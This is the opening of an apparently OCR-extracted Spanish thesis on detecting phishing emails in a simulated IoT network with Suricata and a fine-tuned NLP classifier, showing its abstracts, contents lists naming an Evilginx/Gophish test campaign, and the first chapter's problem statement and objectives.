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RESUMEN EJECUTIVO

El presente trabajo de titulacion aborda la creciente problematica que representan los
ataques phishing en la seguridad informadtica de entorno IoT. El objetivo general se centra
en implementar un sistema de deteccion de ataques phishing que opere en conjunto con
un sistema de deteccion de intrusos (IDS) y utilice un modelo de inteligencia artificial
basado en procesamiento de lenguaje natural. El desarrollo sigue los lineamientos de la
metodologia en cascada, y se estructura en 4 fases principales. En la primera fase se
determinan los requerimientos del sistema haciendo uso del estdndar ISO/IEC/IEEE
29148:2018. En la siguiente fase correspondiente al de diseflo, se establece la arquitectura
del sistema con un enfoque hacia el Internet de las Cosas, definiendo tanto la red IoT, asi
como del modelo de deteccion de phishing. En la fase de implementacion, se despliegan
los servicios necesarios para la comunicacion por medio de CoAP, se enlazan los
servicios de almacenamiento y monitorizacion de datos, ademés de que se realiza el
entrenamiento del modelo para su posterior integracion en la red simulada. La fase final
se centra en la evaluacion del sistema en general, por medio de un plan de pruebas. En
base al plan se evalua la funcionalidad de los segmentos y procesos que forman parte de
la red IoT, asi como de las funciones asociadas al analisis de phishing en correos
electronicos. Los resultados obtenidos demostraron que la integracion de técnicas de
inteligencia artificial con sistemas de deteccion de intrusos mejora significativamente la
capacidad de deteccion de amenazas, permitiendo una deteccion mas precisa de
elementos relacionados con el phishing. En conclusion, la solucién propuesta muestra
evidencias de mejora de la seguridad en redes [oT, ademés que agregan una capa extra de
seguridad en las interacciones de los usuarios. Si bien se recomienda su evaluacion en

entornos reales y la adicion de mas parametros de andlisis al modelo, en general se logra
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establecer un modelo operativo que permite afrontar ataques phishing por medio de
correos electronicos.

Palabras clave: Deteccion de phishing, Internet de las cosas (IoT), Sistemas de
Deteccion de Intrusos (IDS), Procesamiento de Lenguaje Natural (PLN), Seguridad

Redes, Ciberseguridad, Arquitectura [oT, Mininet-WiFi.
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ABSTRACT

This thesis addresses the growing problem of phishing attacks in computer security within
IoT environments. The general objective focuses on implementing a phishing attack
detection system that operates in conjunction with an intrusion detection system (IDS)
and uses an artificial intelligence model based on natural language processing. The
development follows the waterfall methodology guidelines and is structured in 4 main
phases. In the first phase, the system requirements are determined using the
ISO/IEC/IEEE 29148:2018 standard. In the next phase corresponding to design, the
system architecture is established with a focus on the Internet of Things, defining both
the 10T network and the phishing detection model. In the implementation phase, the
necessary services for communication through CoAP are deployed, storage and data
monitoring services are linked, and the model is trained for its subsequent integration into
the simulated network. The final phase focuses on the evaluation of the overall system
through a test plan. Based on the plan, the functionality of the segments and processes
that are part of the 10T network is evaluated, as well as the functions associated with
phishing analysis in emails. The results obtained demonstrated that the integration of
artificial intelligence techniques with intrusion detection systems significantly improves
the capability to detect threats, allowing for more precise detection of phishing-related
elements. In conclusion, the proposed solution shows evidence of improved security in
loT networks, while also adding an extra layer of security in user interactions. Although
its evaluation in real environments and the addition of more analysis parameters to the
model is recommended, in general, an operational model is established that allows

addressing phishing attacks through emails.



12

Keywords: Phishing Detection, Internet of Things (loT), Intrusion Detection System
(IDS), Natural Language Processing (NLP), Network Security, Cybersecurity, 10T

Architecture, Mininet-WiFi.



LISTA DE SIGLAS

NLP. Natural Language Processing

IDS. Sistema de Deteccion de Intrusos
CoAP. Constrained Application Protocol
IoT. Internet de las Cosas

IA. Inteligencia Artificial

GenALl. Inteligencia Artificial Generativa

DNS. Sistema de nombres de dominio

13



14

INDICE DE CONTENIDOS

CAPITULO L ANEECEUBNTES ...ttt 22
1.1 Problema de INVESLIgAaCION. .........ccceeieeieiiese e 22
1.2 JUSHITICACION ..ottt ettt bbb 23
1.3 (@] 0] =] 1Yo OSSR 25

1.3.1  ODJetivo GENETAl ........coiiiiiiieiee e 25
1.3.2  ODbjetivos ESPECITICOS ....c.eiviiieiiieieiee s 25
1.4 AUCANCE ...ttt sttt nee s 25

CAPITULO 1. MAIcO TEOMICO c.ueueuirieeircieiicineieieese sttt 27
2.1 Seguridad INfOrMALICA ..........ccevieiicicce e 27
2.2 PRISRING ... 28

2.2.1 Tiposy Técnicas de Ataques Phishing..........cccocveviiiiiiiiiie e 30
2.3 Internet de 1as C0oSas (I0T) c.vveviiieiieiecee e 36
2.4 0 T 37

2.4.1 Clasificacion de los Sistemas de Deteccion de Intrusos (IDS)................... 39
2.5 Inteligencia ArtifiCial..........cccooiiiiiiii 41

2.5.1 Tipos de Inteligencia ArtifiCial............ccooeiiiiniiiiiiie 43
2.6 Plataformas para Simulaciéon de Redes 10T ..........ccceviiveiieie e, 44
2.7 Procesamiento de Lenguaje Natural (NLP).......cccccoeiiievi i, 50

CAPITULO I11. Metodologia y Disefio del SiStemMa...........cccvveeeeiveseeeseerseneenns 52

3.1 Ly 0 o o] [o] o USRS 52

3.1.1  MOdelo €N CaSCAUA.........eeivrerieirieiieie e e e nas 52
3.2 ANALISIS ...t e raenre et 54
3.2.1  SItUACION ACTUAL ..o 55
3.2.2 Revision de Trabajos Relacionados.............ccoevriieieinieneneeseseesesie s 56
3.2.3 Andlisis de la Revision de Trabajos Relacionados..............cccccevevveeieeneenne. 58
3.3 REGUEITMIENTOS ......viiiie ettt e e sreas 60
3.3.1 Especificacion de Requisitos de las Partes Interesadas (StRS)................... 61
3.3.2 Especificacion de Requisitos del Sistema (SYRS).....c.ccccevvvvevveiiiieninenen. 61
3.3.3 Especificacion de Requisitos de Arquitectura (SYRA)........ccccvvevvevievieenne. 63
3.3.4  Especificacion de Requisitos del Software (SRS).......ccccoovvviiiiieienininns 64
3.3.5 Especificacion de Requisitos del Modelo NLP (MRS) ........cccccevviiievieenee. 65
34 1D 1=] 2 OSSPSR 66

3.4.1 Seleccién del Software de SIMUIACION ......evvveeee e 66



15

3.4.2  Seleccion del Gestor de Base de Datos. .........ccceevrereeinienennineneesene s 69
3.4.3 Seleccidn del Software de Visualizacion de Datos ...........cccceevrereiencnienns 70
3.4.4  Seleccion del Sistema de Deteccion de INtrusos ..........ccccoevveererciienienns 72
3.4.5 Seleccion del Modelo NLP..........cocoiiiiiiiiieesese e 73
3.4.6  SelecCion del ATAQUE .......cceeviiieceee et 76
3.4.7 DescripCion del ESCENAIiO ........cccveueiieiierie e esie et ee e 81
3.4.8 Disefio de la Red.......ccciiiiiieec e 83
3.4.9 Disefio del Sistema de DeteCCION .........ccevieieiriiiieeee e 88
3410  Plan de ALAQUE.......coeiiiieieierie et 98
CAPITULO IV: Implementacion Y Pruebas ...........cc.cccceveueeueveeevsreeeieeeseeesienens 106
4.1 Implementacion y Configuracion de la Red ... 106
4.1.1  Generacion de DatOS...........coiveirieierieiene et 106
4.1.2 RegiStro de DAtOS .......cccuveiiieiiiiiieiie e 108
4.1.3  Procesamiento de DatOS ...........ccuvueeerierienieiesie s 113
4.1.4 Configuracion de recursos de lared 10T .......cocveveiiieiicie e 116
4.2 Implementacion y Configuracion del Sistema de deteccion de Phishing..... 123
4.2.1 Proceso de ENtrenami€nto .........ccccuvieereerieieesneieseeseseeseeseeseesreesseeeens 123
4.2.2 Codigo de integracion del sistema de detecCion..........cccevevevereiiiiennnne 151
4.3 Implementacion del plan de AtaqUE ..........covevieieiniieeeeees e 161
4.3.1  RECONOCIMIENTO ....ccueiiieiieiieciie it ete sttt et e st eesreesneenee s 161
4.3.2 Desarrollo de RECUISOS........ciieiiieiisiieiieeie et 163
4.3.3  ACCESO INICIAL ...ccuviiiiiiiiee e 178
O S =T ol 0 Tod oo ISR SROPRN 185
4.3.5 Persistenciay Escalada..........c.ccoeveiiiiiiiiiiciece e 189
4.3.6  ACCESO @ CredenCiales.........cccvvveieiieiiee e 191
4.4 e U 1=] o S 191
4.4.1  Pruebas FUNCIONAIES .........cooiieiieiiiereee e 193
4.4.2  Pruebas ESPECITICAS ......ccviiiririiieieesese e 206
4.5 FaCtiDIAA ..o 220
45.1 Rendimiento del MOdelo.........ccccuoiiiiiiiiiiie e 220
4.5.2 Facilidad de implementaCion............cccccveveiieiicie s 221
4.5.3  BENETICIOS ...ccviiiiiiiiiiee et 222
Conclusiones Yy reCOMENTACIONES ........ccveveiieerireieseeseeie e seesee e e sreeeesseesreeseesneens 223
ANEXOS ..ottt ettt n et e nenne e 229

Anexo 1: Tabla comparativa del software de simulacion...........c..ccccevevevieieiennenn, 229



Anexo 2: Revision de trabajos relacionados.............cccceevevenne.

Anexo 3: Analisis de referencias para la seleccion del modelo

Anexo 4: Planteamiento del Escenario de Internet de 1as C0SaS .........vvvvvveveveernennnnns



17

INDICE DE TABLAS

Tabla 1 Comparativa de Simuladores de Red ... 49
Tabla 2 Trabajos relaCionados ....... ..o 57
Tabla 3 Requerimientos de StakehoIders ..........cccoveiieviiie i 61
Tabla 4 Definicion de los Requisitos del Sistema...........ccccovvveviiieiieincic e, 62
Tabla 5 Definicion de los Requisitos de la Arquitectura del Sistema............cccccoveveee. 63
Tabla 6 Definicion de Requisitos de SOftWare ..........ccocvevevieiecie e 64
Tabla 7 Definicion de los Requisitos del Modelo de Procesamiento de Lenguaje

NALTUFAL (INLP). oottt e et e nne e ree s 66
Tabla 8 Seleccion del software de SIMUIACION..........ccoveviiiiiiere e 67
Tabla 9 Verificacion de especificaciones minimas ...........ccccceeeiveieeve e seece e 69
Tabla 10 Seleccion del gestor de base de datos............ccvevveieeieiiicviccecccee e 70
Tabla 11 Seleccion del software de visualizacion de datos...........ccccovvevevereieiesennnn, 71
Tabla 12 Seleccién del Sistema de Deteccion de Intrusos (IDS) ......ccevvvevvicieiiennnen, 72
Tabla 13 Resumen de Trabajos .......ccooviieiiiiiiiiiieee e 73
Tabla 14 Seleccion del MOdelo NLP..........ccccooviiiiiieecce e 75
Tabla 15 Mecanismos de funcionamiento y seguridad de los ataques phishing ........... 77
Tabla 16 Seleccion del ataque phishing en base al ranking..........c..ccooeveveieniciennnn, 81
Tabla 17 Distribucion de nodos presente en la capa de percepcion ...........cc.ceceeveereene. 85
Tabla 18 Distribucion logica de los nodos en la capa de percepcion ............ccoceeveeeene. 86
Tabla 19 Distribucion logica de los nodos de la capa de conectiva y procesamiento... 87
Tabla 20 Detalles de las librerias empleadas...........ccocovereiiiiniiiiieiieeec e 95
Tabla 21 Lista de técnicas de un ataque phiShing.........ccocoeeviiiniiiiiiieee e 99
Tabla 22 Lista de mitigacion contemplada para el ataque phishing.............cccccoovvenee. 103
Tabla 23 Datos de monitoreo de 10S diSPOSItIVOS.........ccccvviieiieni e 107
Tabla 24 Métricas de rendimiento .........cccooiiiiiiiinieiee s 148
Tabla 25 Formato de reglas de SUMCAta ..........c.covveveiieiiciecie e 156
Tabla 26 Plan de Pruebas del sistema de deteccidn de phishing..........cccccceevveieennnns 191
Tabla 27 Resultados de la matriz de confusion — Escenario 1 ........cccceeceveveicinninnn. 211
Tabla 28 Resultados de analisis de deteccidn de phishing — Escenario 2 ................... 212
Tabla 29 Resultados de la matriz de confusion — EScenario 2. ........ccccocevevevvinnnnnne. 212
Tabla 30 Resultados de analisis de deteccidn de phishing - Escenario 3.................... 214
Tabla 31 Resultados de la matriz de confusion — Escenario 3 .........cccccoceveveieinnnene. 214

Tabla 32 Resumen de métricas de evaluacion para cada escenario.............cccocveeveennene 221



18

INDICE DE FIGURAS

Figura 1 Ciclo de Vida del PhiShiNg ........ccccooiiiiiiiiieeeee e 29
Figura 2 Tipos de Atagques PhiSNING.........ccocoiiiiiiiiiiiec e 35
Figura 3 Evolucion de la Inteligencia Artificial ... 42
Figura 4 Modelo en CasCada..........cecueiieieiieiie e 54
Figura 5 Arquitectura 1oT acoplada a un caso de ataque phishing...........ccccccevveveenenne. 83
Figura 6 Diagrama de secuencia del proceso de transferencia de datos entre el servidor

10CAI Y JaNUDE ... e 84
Figura 7 Proceso de comunicacion del protocolo COAP...........ccccocevieieece e, 87
Figura 8 Diagrama de secuencia del proceso de deteccion de phishing........................ 89
Figura 9 Diagrama de secuencia del proceso de adquisicion de credenciales .............. 90
Figura 10 Diagrama de bloques del método de deteccion de ataques basado en NLP . 91
Figura 11 Diagrama de flujo del proceso de entrenamiento (Fine-tuning) ................... 94
Figura 12 Diagrama de flujo del método de detecCion..........cccvereireinienenenieesiee 97
Figura 13 Creacion de NOUOS ........coueiireieresiieeeeeieie et sresne e 107
Figura 14 Cddigo de generacion aleatoria de datos de temperatura............cc.cccveveeene 108
Figura 15 Cddigo de asociacion de scripts de generacion de datos ............ccoceeveveeene. 108
Figura 16 Creacion de los nodos de la capa conectividad y procesamiento ............... 109
Figura 17 Configuracion y Conexion de Enlaces de Comunicacion...........c..cccceeeee. 110
Figura 18 Inicializacion de la Topologia de Red...........ccccoovirinniniieneccc e 111
Figura 19 Inicializacion del Servidor LOCal ...........cccoovoiiiiienenenceec e 111
Figura 20 COdigo de enVio d& dat0S.........ccoeiuiriiiiieieiesie e 112
Figura 21 Creacion del recurso del sensor de temperatura............ccooeeeverereeneniesenienn 113
Figura 22 CAdigo de RecepCion de datosS..........ccocveeerierierienieieniseseeee e 114
Figura 23 Cddigo de almacenamiento de satos en InfluxDB Cloud ..............ccoee.ee.. 114
Figura 24 Configuracion del bucket “Smart HOme” ..........cccovvviiiiiniiininienc e 115
Figura 25 Configuracion de la solicitud de informacion en InfluxDB Cloud............. 115
Figura 26 Generacion de graficas del sensor de temperatura............ccccoveveereeeesneenne. 116
Figura 27 Adicion del repositorio de archivos de Suricata ............cccccveeveveeieciesieennn. 117
Figura 28 Instalacion de SUFICALa ............cceeveiiiiic it 117
Figura 29 Configuracion de la interfaz de analisis..........c.ccceeeivieiieiecc e 117
Figura 30 Configuracion de grupos de red..........cccccveveiieieeie e 118
Figura 31 ConfiguraCion de reglas ..........ccoeveeieiieie et 118
Figura 32 Busqueda del cliente de correo Thunderbird ...........cocoevveviiieiecie e, 119
Figura 33 Instalacion del cliente de COMe0........couoiiiieiieereeee s 120
Figura 34 Configuracion de la cuenta de COIEO0 ..........ccoiiiireiriinnciseceee e 120
Figura 35 Verificacion de existencia de la cuenta de COIre0.........ccocovevverereinienenne 121
Figura 36 Habilitar permisos de USO..........ccviiiiiiriiieiesiesie e 122
Figura 37 Finalizar configuracion de la cuenta de COIe0 ........cooevvrererinincieieiecine 123
Figura 38 Importacion del conjunto de datos...........cccveereieeneneienereee e 125
Figura 39 Representacion de elementos del conjunto de datos.............ccceeveveivernnnee. 126
Figura 40 Representacion numerica en base al tipo de COrre0 .......ccoocvvvvvvvervieesinenne. 126
Figura 41 Configuracion de variables y condicionales de almacenamiento ............... 127
Figura 42 Division del conjunto de datoS.........c.ecvevvereriereeie e esee e e e see e 128

Figura 43 Segmento de cddigo de la funcion de traduccion ............cccevvveveiiesinenne. 128



19

Figura 44 Segmento de cddigo del proceso de traduccién para el caso de correo seguro

...................................................................................................................................... 129
Figura 45 Segmento de cddigo del proceso de traduccién para el caso de correo

PRESPING .ttt 130
Figura 46 Detalles del progreso de traduCCion.............ccooereerennienienerieese s 130
Figura 47 Combinacion y almacenaje de correos traducidos............ccccoeveeresiveineenne. 130
Figura 48 Importacion del dataset ...........cccvevveieiieieece e 131
Figura 49 Representacion del dataset...........cccoceveeiieie i 132
Figura 50 Representacion de informacion del dataset............ccccccevvvevvieieccccie s, 133
Figura 51 Detalles de tradUCCION..........ccciveieiiesie e 133
Figura 52 Importacion de [0S datasetsS..........cccovveiieiieie i 134
Figura 53 Proceso de combinacion y almacenamiento del dataset .............cccccveneee. 134
Figura 54 Carga de conjunto de dat0S........ccueiuieiieiiieeiie e sne e 135
Figura 55 Importacién de datos en el entorno de Google Colab...........c.cccceeeienenee. 136
Figura 56 Revision de contenido del Dataset..........cccvvveeieeieiicce e 136
Figura 57 Representacion de emails Segun SU tiP0........cccevrerernieneneneise e 137
Figura 58 Representacion de emails segln el idioma ..........cccceevveiveieiercnese e, 137
Figura 59 Funcidn de normalizacion de datos...........cccevevereieiisieeiieieese e 138
Figura 60 Funcion de preprocesamiento de datos ..........c.eoeerereieieniennicne e 138
Figura 61 Balanceo del conjunto de datos............ceoveivereieniiiiniseseeeeeee e 139
Figura 62 Funcion de division de conjunto de datosS...........ccoeverrereneiniinc e 140
Figura 63 Funcion de tokenizacion de datosS ............coovvereieeneneieneneee s 141
Figura 64 Creacion de datasets y tokenizacion de texto........ccccovvvvrcivennicnieiniinenine 142
Figura 65 Definicion de parametros y funcion de entrenamiento ..........ccccceeeverieneee 143
Figura 66 Proceso de optimizacion de entrenamiento............ccoovvvreeierierieneniesienieans 144
Figura 67 Entrenamiento del Mmodelo ... 145
Figura 68 Funcion de evaluacion del modelo ............cccooveveeiiiicviccc e 146
Figura 69 Matriz de confusion resultante del entrenamiento............ccccccoeveveiievnenen. 147
Figura 70 Grafica de PErdidas ..........cccvevveiieiiiie s 150
Figura 71 Funcion de mapeo de etiquetas y clasificacion de emails.............cccoce.e.. 151
Figura 72 Pruebas de clasifiCacion ............ccccovoiiiiiecie e 151
Figura 73 Configuracion de parametros del modelo..........ccccoceovveviiiiiciiccccec, 152
Figura 74 Funcion de decodificacion de contenido del correo electrénico................. 153
Figura 75 Funcion de extracCion de enlaces ..........ccoeveveeieeieiie s 154
Figura 76 Funcion de analisis de phiShing ..........ccccoveveiieiicic e 155
Figura 77 Funcion de procesamiento de enlaces.........cccoovevveveiieiecce e 156
Figura 78 Base de reglas de SUICALa...........ccovuveiieiiieeiie e 157
Figura 79 Funcion de COrre0 de alerta...........coovveiereirineseseseese s 158
Figura 80 Proceso de aCCES0 @ CUBNTA ..........cvuerieiueeieieienie sttt 159
Figura 81 Busqueda de subdirectorios en la cuenta de COrreo ..........ccoooevvrereerrennnnee 159
Figura 82 Proceso iterativo de analisis de phishing ...........ccccooeiiniiniiiiie 160
Figura 83 Segmento de cddigo asociado a la generacion de alertas y contramedidas 161
Figura 84 Detalles del descubrimiento y recoleccion de COrreos..........cccoovevveveiunenne. 162
Figura 85 Detalles de la basqueda de dominio...........cccevveveeresiieseese e 163
Figura 86 Configuracion de la instancia de Evilginx - Parte 1 .........ccccccovveveiiievinenee. 164
Figura 87 Configuracion de la instancia de Evilginx - Parte 2 .........ccccccoveveveiievnenee. 165

Figura 88 Configuracion de la instancia de Evilginx - Parte 3 .........ccccoceveveveiievinenen. 166



Figura 89 Configuracion de la instancia de Evilginx - Parte 4 ........ccccoceovveivincnnne. 166
Figura 90 Configuracion de la instancia de Evilginx - Parte 5 ... 167
Figura 91 INicio de SESION FEMOLA .......ccveviviiieiiiiie e 167
Figura 92 Descarga del archivo de instalacion de EVilginX ..........cccccoevviiniinincnnnne 168
Figura 93 Descompresion del archivo de instalacion............ccccocevvovenniinc e 168
Figura 94 Asignacion de permisos de €JECUCION .........ccccveveerieiiieieere e 168
Figura 95 Interfaz de linea de comandos de EVIlginX .........ccccceeveviviviiieiecce e 169
Figura 96 Configuracion de la instancia de Gophish - Parte 1..........ccccccoovveveiieninnen. 170
Figura 97 Configuracion de la instancia de Gophish - Parte 2...........cccccceveveiiveinnen. 170
Figura 98 Configuracion de la instancia de Gophish - Parte 3..........ccccccoovveveiiieinenen. 171
Figura 99 Configuracion de la instancia de Gophish - Parte 4.............cccccoveveiieinnnen. 171
Figura 100 Inicio de SESION FEMOLO .......c.coveiieeieiicce et 172
Figura 101 Descarga de archivo de instalacion de Gophish .............ccccccevvveiiiieinnne. 172
Figura 102 Descompresidn del archivo de instalacion.............ccccccvevvivcieecc e, 172
Figura 103 Asignacion de permisos de €JECUCION .........ccceeveeiveiieieerie e 172
Figura 104 Configuracion de pardmetros de CONeXion............covvevevveierieriesesesesnnans 173
Figura 105 Inicializacion del servicio de GOphish...........cccccoviiiiiiiiiiiic 173
Figura 106 Pardmetros de iniCio de SESION ........c.ccveierieieiere e 174
Figura 107 Interfaz web de inicio de sesion de Gophish..........cccccoviiiiiiiiiiicine 174
Figura 108 Panel de control de GOphish ...........ccooiiiiiii 175
Figura 109 Configuracion de dominio ...........ccocveieieieiiie e 176
Figura 110 Configuracion de regiStroS..........covevrereireneieese e 176
Figura 111 Detalles del dominio y SUDAOMINIOS.........c.coeiiriiririniiieieee e 177
Figura 112 Verificacion de resolucion de dominios..........cccovvvireniiiinnieniene e 178
Figura 113 Configuracion de registros y subdominios para Outlook ......................... 179
Figura 114 Asociacion del dominio fraudulento en EVilginX ..........ccocooviniiiiicnnnn. 180
Figura 115 Creacion del SEAUEIO ..........ccvevviiiee e 180
Figura 116 Configuracion del SeAUEIO .........ccccovvvieiieie e 181
Figura 117 Asociacion del dominio al SEAUEIO ..........cccocvevieiiiieiiececc e 182
Figura 118 Habilitacion del SeAUEIO..........c.ccveviiiiiieececee e 182
Figura 119 Generacion de enlace URL fraudulento............cccccoovevviiniciiccc e, 183
Figura 120 Creacion del sitio web del correo electronico..........cccccveveeveiecccciecneenne. 184
Figura 121 Creacion de grupo de ODJEtIVOS.........ccciveiiiieieee e 185
Figura 122 Configuracion de la plantilla de correo electronico...........ccccvveveeveeneenee. 186
Figura 123 Creacion de campafia de phishing..........cccccovevieiiiic i 187
Figura 124 Despliegue de camparia de phishing ..........ccccoooviiiiiiiiii e 188
Figura 125 Recepcion del correo phiShing.........cccccveveiieiicie i 189
Figura 126 Detalles del correo phishing...........ccooveiiiiiiiiiieee e 190
Figura 127 Ingreso de CredencCiales ... 190
Figura 128 Captura de credenciales de aCCeSO..........coverieierieriiiiieieee e 191
Figura 129 Simulacion de red 10T .......cooiiiiiiie s 194
Figura 130 Detalles generales de la red..........cooovoeieiiiiniiiieece e 195
Figura 131 Detalles de enlaces de red.........ccoevvvieiieieiieseee e 195
Figura 132 Pruebas de interconexion de dispositivos —Parte 1.........ccccceevevviveiinenne. 196
Figura 133 Pruebas de interconexion de dispositivos — Parte 2...........ccccevevvivveiinenne. 196
Figura 134 Comunicacion - Servidor COAP ........cccccveveiieerieee e 197

Figura 135 Comunicacion - Cliente COAP...........cccovveveieereee e 197



Figura 136 Paquete de Mensaje Confirmable (CON) ........cccooiiviiiiiiiciesccc e 198
Figura 137 Paquete de Acuse de ReCibDO (ACK) ......coveiiiiiiniiinirieeeee e 198
Figura 138 Verificacion de direccion IP y apertura de Thunderbird...........c..ccceenee. 199
Figura 139 Inicializacion del cliente de correo desde el nodo "hostl" .............cccc...... 200
Figura 140 ENVIO 08 COIMEO ....uiiiieieiieieieeie et 201
Figura 141 Captura de pagueteS SMTP.......cccocieiieiieie e 201
Figura 142 Detalles del almacenamiento de datos del nodo foco inteligente ............. 202
Figura 143 Representacion de las métricas generadas por 10s nodos.............ccceeueee.. 203
Figura 144 Detalles del contenido del COrre0.........covevviievieie i 204
Figura 145 Detalles del encabezado del COrreo..........coovvvvevieveiieiii s 204
Figura 146 Resultado de deteccion de ataques phishing ..........ccccccvveveiiveiecceccie s, 205
Figura 147 Obtencion de enlace MaliCioS0S...........ccveveiieieeie e 205
Figura 148 Creacion de regla de SUMCata ........c.cccvevvevieiiciiee e 205
Figura 149 Configuracion de PhiShIets ... 206
Figura 150 Configuracion de SeAUElo (LUIES) .......coveievieieeieiie e 207
Figura 151 Configuracion de Campafia de Phishing.........cccccoovvvvviiiiienciene e, 207
Figura 152 Recepcion del correo phishing.........ccoceoeiiereinienenseeseesese s 208
Figura 153 Ingreso de Credenciales - CONtrasea..........ccovververeeneeneseeseeniesee e 209
Figura 154 Captura de CredenCiales ... 209
Figura 155 Detalles de Captura de Credenciales.............ccoovriiiniiiicienciesc e 210
Figura 156 Inicializacion del proceso de deteccion de phishing...........cccccoeiviiennnne. 215
Figura 157 Detalles de analisis de phishing ..........ccocooviiiiiiiininnineee e 216
Figura 158 Notificacion de correo Thunderbird............cooooeiniininiiiiieece e 216
Figura 159 Notificacion de resultados de analisis de phishing ...........cccccoviiiiiennnn. 217
Figura 160 Detalles de red del Nodo (HOSEL) ......ccveveierieieiiniiiseseeeee e 217
Figura 161 Detalles de funcionamiento de SUricata...........c.ccoovrirereiieerienene e 218
Figura 162 Habilitacion de modo IPS mediante iptables...........cccccovvvvieiveieiiieieenne. 218
Figura 163 Acceso al enlace MaliCios0 .........ccccveiieiierieiiciece e 219
Figura 164 Detalles de monitoreo iptables...........cccoovevviieiieiicie e 219

Figura 165 Detalles de registro generadas por Suricata IDS.............ccccocevveviiieineennn. 220



22

CAPITULDO I. Antecedentes

En este capitulo se presentan los antecedentes, en el que se da una breve
introduccidén acerca del proyecto de titulacion. A continuacion, se presenta el tema, la
problematica, los objetivos planteados, tanto general como especificos, el alcance y la

justificacion que fundamenta este proyecto.

1.1 Problema de investigacién.

La creciente presencia de los dispositivos de Internet de las cosas (IoT) han
mejorado las formas de interaccion con el entorno a la vez que se ha convertido en una
tecnologia de cambio a nivel industrial. Pese a los inherentes beneficios que brinda los
dispositivos loT, también se han sumado el incremento en los indices de amenazas de
seguridad y privacidad producto de la gran diversidad de entornos y la falta de estandares
(Kim, 2017), sumado a esto la existencia de un amplio tipo de ataques que operan a nivel
fisico, de red, software y encriptacion (Andrea et al., 2015) dificultan los procesos de

deteccion y mitigacion de ataques.

En el entorno IoT los ataques como el phishing representan un gran impacto
debido a que ponen en riesgo la credibilidad e imagen de la marca, asi como en un marco
econdémico estos incurren en pérdidas, a su vez del lado de la victima generan
desconfianza en los métodos de transaccion que se reflejan en los indices de adopcion de

tecnologia orientada al comercio (Srivastava & Purcell, 2007).

La inteligencia artificial es una rama de las ciencias computacionales que hacen
referencias a los sistemas 0 maquinas que cuentan con caracteristicas de inteligencia
humana y ejecutan tareas en base a reglas o algoritmos (Jakhar & Kaur, 2020). Una
disciplina de la inteligencia artificial de gran impacto en el analisis de informacién es el

aprendizaje de maquina o machine learning la cual recientemente se encamina como una
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solucién prometedora en el desarrollo de nuevas IDS debido a su capacidad para
descubrir, examinar y extraer patrones de datos para la creacion de modelos de prediccién

mas precisos (Yang & Shami, 2022).

Para abordar los problemas de seguridad en relacion con los ataques de phishing
en entornos loT se propone un sistema que incorpore caracteristicas de inteligencia
artificial, asi como otras tecnologias emergentes centradas en el analisis de trafico y datos
generados en la red, con el fin de mejorar la eficiencia en los procesos de deteccidn de

ataques.

1.2 Justificacion

El crecimiento constante en la adopcion de dispositivos 10T, los cuales segun
indices presentados por (Dahlqvist et al., 2019) para 2023 se prevé un total de 43 millones
de dispositivos conectados que en comparacion a 2018 es 3 veces mayor, dichas cifras
representan un aspecto a considerar ya que pese al crecimiento en el numero de

dispositivos el aspecto de seguridad no experimentado el mismo desarrollo.

La globalizacién digital ha creado nuevas formas ilicitas de apropiacion de datos
personales que no se centran solo en métodos de estafas tradicionales, sino que incorpora
herramientas como buscadores de internet y servicios basados en contenido (Aguilar
Martinez et al., 2023). Segun (Gupta et al., 2018) el phishing es el ataque nimero uno en
materia de robo de informacion a nivel empresarial, este tipo de ataque estuvo
involucrado en el 32% de robo de datos del afio 2019 (Abbas et al., 2021). La presencia
de ataques mas sofisticados en torno al 10T requieren el uso de nuevas tecnologias para

solventar los riesgos de seguridad (Andrea et al., 2015).

Bajo el contexto anterior la seguridad de los datos personales se vuelve esencial

en cualquier sistema y a su vez este se convierte en un requerimiento necesario en
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cualquier clase de servicio, la Ley Orgéanica De Proteccion De Datos Personales (Ley
Orgénica de Proteccion de Datos Personales, 2021) en su articulo 37 establece que “El
responsable o encargado del tratamiento de datos personales segun sea el caso, debera
sujetarse al principio de seguridad de datos personales, para lo cual deberd tomar en
cuenta las categorias y volumen de datos personales, el estado de la técnica, mejores
practicas de seguridad integral y los costos de aplicacion de acuerdo a la naturaleza,
alcance, contexto y los fines del tratamiento, asi como identificar la probabilidad de
riesgos.” De esta manera la normativa exige la implementaciéon de mecanismos que
salvaguarden la informacion personal, a su vez que se debe evidenciar que las medidas

adoptadas e implementadas mitiguen los riesgos identificados.

Otro punto de clave es el nivel de seguridad con el que cuentan los dispositivos
I0T, un nivel aceptable de seguridad para un objeto inteligente 10T gira en torno a varias
consideraciones que son: Disefio, Conciencia sobre la seguridad, Seguridad en transporte,
Seguridad en el almacenamiento, seguridad en las plataformas de software, Seguridad en
las plataformas de hardware, Seguridad funcional, Autenticacion, Auditabilidad, Registro
forense, Gestion y Monitoreo, Sostenibilidad y Capacidad de actualizacion (Cuzme
Rodriguez, 2015), dichos aspectos no solo se centran en la parte fisica si no que se
extiende a diversas areas denotando que el grado de seguridad va en funcion de que

aspectos abarca o satisface el objeto inteligente.

Ningun tipo de red esta exenta de vulnerabilidades ya sea a nivel de disefio,
arquitectura, protocolos o tecnologia, en el caso de 10T dichas vulnerabilidades se
exponen de manera gradual a medida que el nimero de dispositivos aumenta. Uno de los
métodos para afrontar el andlisis del gran volumen de datos generado en las redes 10T es
el uso de la inteligencia artificial, que, a su vez junto con otras técnicas, tienen la

capacidad de mitigar (Wu et al., 2020).
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Asi es como, el presente proyecto propone el disefio de un sistema de deteccion
de ataques enfocados en phishing basado en procesamiento de lenguaje natural, la cual se
implementara por medio de Mininet para posteriormente realizar la verificacion del
sistema a través de un data set de evaluacion de deteccion de intrusos (CIC-IDS2017) y

URLs maliciosas (ISCX-URL2016).

1.3 Objetivos
1.3.1 Objetivo General
Implementar un sistema de deteccion ataques de phishing aplicando IDS y

modelos de inteligencia artificial basado en procesamiento de lenguaje natural.

1.3.2 Objetivos Especificos

e Investigar y comparar las caracteristicas, asi como los porcentajes de efectividad
de los mecanismos de seguridad tipicos en relacion con los mecanismos que
empleen inteligencia artificial.

e Implementar un IDS que opere en conjunto con un modelo de procesamiento de
lenguaje natural (NLP).

e Realizar pruebas de funcionamiento del sistema de deteccidn de ataques phishing

basado en procesamiento de lenguaje natural.

1.4 Alcance

El presente proyecto propone cubrir el area de la seguridad de la informacion a
través de un sistema que emplee métodos de inteligencia artificial, al igual que
tecnologias emergentes como el procesamiento de lenguaje natural, para la deteccion de
ataques phishing en entornos I0T. La recopilacion de informacién resultante de la
investigacion encaminara el proceso de desarrollo del sistema, cuya finalidad es ampliar

el grado de seguridad en un entorno IoT.
